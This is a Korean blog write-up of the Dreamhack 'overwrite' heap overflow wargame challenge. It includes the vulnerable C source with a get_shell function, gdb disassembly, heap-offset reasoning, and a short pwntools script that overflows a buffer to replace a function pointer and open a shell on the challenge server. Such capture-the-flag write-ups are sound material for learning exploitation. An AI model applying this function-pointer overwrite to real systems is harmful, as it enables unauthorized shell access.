#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
struct over {
void (*table)();
};
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void table_func() {
printf("overwrite_me!");
}
int main() {
char *ptr = malloc(0x20);
struct over *over = malloc(0x20);
initialize();
over->table = table_func;
scanf("%s", ptr);
if( !over->table ){
return 0;
}
over->table();
return 0;
}
이번 문제는 heap overflow를 이용하여 문제를 해결해야합니다. 입력할 수 있는 공간은 ptr 밖에 없습니다. scanf 함수는 그 자체로 취약하기 때문에 원하는 바이트 만큼 데이터를 입력할 수 있습니다. 실행파일을 gdb로 분석하겠습니다.
gdb-peda$ disas main
Dump of assembler code for function main:
0x080486ad <+0>: lea ecx,[esp+0x4]
0x080486b1 <+4>: and esp,0xfffffff0
0x080486b4 <+7>: push DWORD PTR [ecx-0x4]
0x080486b7 <+10>: push ebp
0x080486b8 <+11>: mov ebp,esp
0x080486ba <+13>: push ecx
0x080486bb <+14>: sub esp,0x14
0x080486be <+17>: sub esp,0xc
0x080486c1 <+20>: push 0x20
0x080486c3 <+22>: call 0x8048490 <malloc@plt>
0x080486c8 <+27>: add esp,0x10
0x080486cb <+30>: mov DWORD PTR [ebp-0x10],eax
0x080486ce <+33>: sub esp,0xc
0x080486d1 <+36>: push 0x20
0x080486d3 <+38>: call 0x8048490 <malloc@plt>
0x080486d8 <+43>: add esp,0x10
0x080486db <+46>: mov DWORD PTR [ebp-0xc],eax
0x080486de <+49>: call 0x804862b <initialize>
0x080486e3 <+54>: mov eax,DWORD PTR [ebp-0xc]
0x080486e6 <+57>: mov DWORD PTR [eax],0x8048694
0x080486ec <+63>: sub esp,0x8
0x080486ef <+66>: push DWORD PTR [ebp-0x10]
0x080486f2 <+69>: push 0x80487cf
0x080486f7 <+74>: call 0x80484f0 <__isoc99_scanf@plt>
0x080486fc <+79>: add esp,0x10
0x080486ff <+82>: mov eax,DWORD PTR [ebp-0xc]
0x08048702 <+85>: mov eax,DWORD PTR [eax]
0x08048704 <+87>: test eax,eax
0x08048706 <+89>: jne 0x804870f <main+98>
0x08048708 <+91>: mov eax,0x0
0x0804870d <+96>: jmp 0x804871b <main+110>
0x0804870f <+98>: mov eax,DWORD PTR [ebp-0xc]
0x08048712 <+101>: mov eax,DWORD PTR [eax]
0x08048714 <+103>: call eax
0x08048716 <+105>: mov eax,0x0
0x0804871b <+110>: mov ecx,DWORD PTR [ebp-0x4]
0x0804871e <+113>: leave
0x0804871f <+114>: lea esp,[ecx-0x4]
0x08048722 <+117>: ret
문제의 핵심은 scanf 함수와 table_func 함수의 관계입니다. 아래는 위 어셈블리 코드에서 핵심부분만 가져왔습니다.
0x080486de <+49>: call 0x804862b
0x080486e3 <+54>: mov eax,DWORD PTR [ebp-0xc]
0x080486e6 <+57>: mov DWORD PTR [eax],0x8048694
0x080486ec <+63>: sub esp,0x8
0x080486ef <+66>: push DWORD PTR [ebp-0x10]
0x080486f2 <+69>: push 0x80487cf
0x080486f7 <+74>: call 0x80484f0 <__isoc99_scanf@plt>
scanf 함수 이전에 over->table = table_func;와 같이 over->table이라는 함수 포인터에 table_func 함수 주소값을 저장하는데 이곳에 대신 get_shell 함수 주소값을 주입할 수 있다면 쉘을 획득할 수 있습니다.
0x080486e6 <+57>: mov DWORD PTR [eax],0x8048694 에서 0x8048694는 table_func을 나타내는데 [eax]에 해당 주소를 저장하므로 0x080486e6에 브레이크 포인터를 걸고 [eax] 값을 찾아줍니다.
table_func 함수 주소값이 저장되는 곳은 0x804b1d0입니다.
0x080486de <+49>: call 0x804862b
0x080486e3 <+54>: mov eax,DWORD PTR [ebp-0xc]
0x080486e6 <+57>: mov DWORD PTR [eax],0x8048694
0x080486ec <+63>: sub esp,0x8
0x080486ef <+66>: push DWORD PTR [ebp-0x10]
0x080486f2 <+69>: push 0x80487cf
0x080486f7 <+74>: call 0x80484f0 <__isoc99_scanf@plt>
다음으로 scanf에서 입력값이 어디에 저장되는지 알아보겠습니다. scanf 함수에서 두번째 인자 ptr의 위치는 ebp-0x10 으로 0x080486f2에 브레이크 포인트를 걸고 스택을 살펴보면 0x804b1a0 주소가 ptr의 위치임을 알 수 있습니다.
ptr = 0x804b1a0
table_func = 0x804b1d0
get_shell = 0x0804867b
ptr과 table_func의 주소값 차이는 48입니다. 하지만 실제 문제 서버와 로컬 환경이 달라서 그런지 문제 서버에서의 ptr과 table_func의 주소값 차이는 40입니다. 가장 유력한 원인은 운영체제의 비트 수 차이인데 제 PC는 64bit, 문제 서버는 32bit로 추정됩니다.
제 PC는 64bit이므로 힙 메모리를 할당할 때 처음 여유 비트로 8바이트를 더 부여하고 0x10단위로 힙 메모리를 부여하기 때문에 처음 32바이트에서 여유메모리를 합하면 40바이트 16바이트가 단위이므로 48바이트를 부여하기 때문에 지금까지의 결과가 나왔습니다. 하지만 문제 서버가 32bit 운영체제라면 처음 32바이트에서 여유 메모리는 정확히 모르지만 최대 8바이트이므로 8바이트를 더해 40바이트, 단위는 8바이트 이므로 40바이트의 힙 메모리를 할당합니다. 따라서 아래 익스플로잇 코드를 작성할 때는 주소값 차이를 40으로 계산해야합니다.
from pwn import*
p = remote("host1.dreamhack.games", 12489)
context.log_level='debug'
payload=b'a'*40+p32(0x0804867b)
p.send(payload)
p.interactive()
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] memory_leakage (0) | 2021.07.19 |
---|---|
[Dreamhack] out_of_bound (0) | 2021.07.18 |
[Dreamhack] basic_exploitation_002 (0) | 2021.07.17 |
[Dreamhack] sint (0) | 2021.07.15 |
[Dreamhack] basic_exploitation_003 (0) | 2021.05.22 |
댓글